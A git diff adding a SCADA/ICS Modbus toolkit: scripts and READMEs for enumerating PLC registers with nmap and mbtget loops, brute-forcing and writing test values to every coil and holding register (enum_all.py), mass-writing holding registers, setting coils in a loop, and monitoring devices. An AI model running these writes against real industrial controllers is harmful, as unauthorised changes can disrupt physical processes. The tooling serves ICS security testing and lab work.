client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format=
[-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## 